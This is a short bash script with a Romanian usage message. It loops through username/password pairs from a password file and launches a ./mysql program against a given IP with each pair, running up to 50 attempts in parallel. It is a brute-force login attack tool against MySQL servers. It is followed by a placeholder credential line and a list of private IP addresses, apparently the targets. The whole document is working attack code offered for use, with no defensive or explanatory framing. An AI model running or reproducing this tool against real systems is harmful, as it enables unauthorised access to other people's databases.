#!/bin/bash
if [ -z "$1" ] ; then
echo "Lipsa IP";
exit;
fi
i=1
ip=$1
while [ $i -le `wc -l pass_file | awk '{print $1}'` ] ; do
if [ -n "$ip" ]; then
rand=`head -$i pass_file | tail -1`
user=`echo $rand | awk '{print $1}'`
pass=`echo $rand | awk '{print $2}'`

CMD=`ps -eaf | grep -c mysql`

if [ "$CMD" -lt "50" ]; then
./mysql $ip $user $pass &
else
sleep 15
fi
i=`expr $i + 1`
fi
done

username password

192.168.0.1
192.168.0.2
192.168.0.3